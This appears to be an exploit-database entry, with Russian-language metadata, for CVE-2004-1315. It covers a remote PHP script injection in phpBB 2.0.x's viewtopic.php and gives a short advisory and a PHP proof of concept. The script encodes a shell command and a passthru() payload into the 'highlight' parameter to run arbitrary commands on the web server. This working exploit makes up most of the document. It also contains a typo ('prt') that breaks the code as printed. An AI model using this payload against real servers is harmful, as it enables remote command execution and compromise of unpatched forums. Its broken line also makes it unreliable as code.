Exploit phpBB 2.0.x - 'viewtopic.php' PHP Script Injection

[Exploiter]

EDB-ID

24274

Проверка EDB

1. Пройдено

Автор

SASAN HEZARKHANI

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2004-1315

Дата публикации

2004-07-12

phpBB 2.0.x - 'viewtopic.php' PHP Script Injection

source: https://www.securityfocus.com/bid/10701/info

The 'viewtopic.php' phpBB script is prone to a remote PHP script injection vulnerability because the application fails to properly sanitize user-supplied URI parameters before using them to construct dynamically generated web pages.

Exploiting this issue may allow a remote attacker to execute arbitrary commands in the context of the webserver that is hosting the vulnerable software. 

<?
$rush='ls -al'; //do what
$highlight='passthru($HTTP_GET_VARS[rush])'; // dont touch

print "?t=%37&rush=";

for ($i=0; $i<strlen($rush); ++$i) {
 print '%' . bin2hex(substr($rush,$i,1));
}

print "&highlight=%2527.";

for ($i=0; $i<strlen($highlight); ++$i) {
 prt '%' . bin2hex(substr($highlight,$i,1));
}

print ".%2527";
?>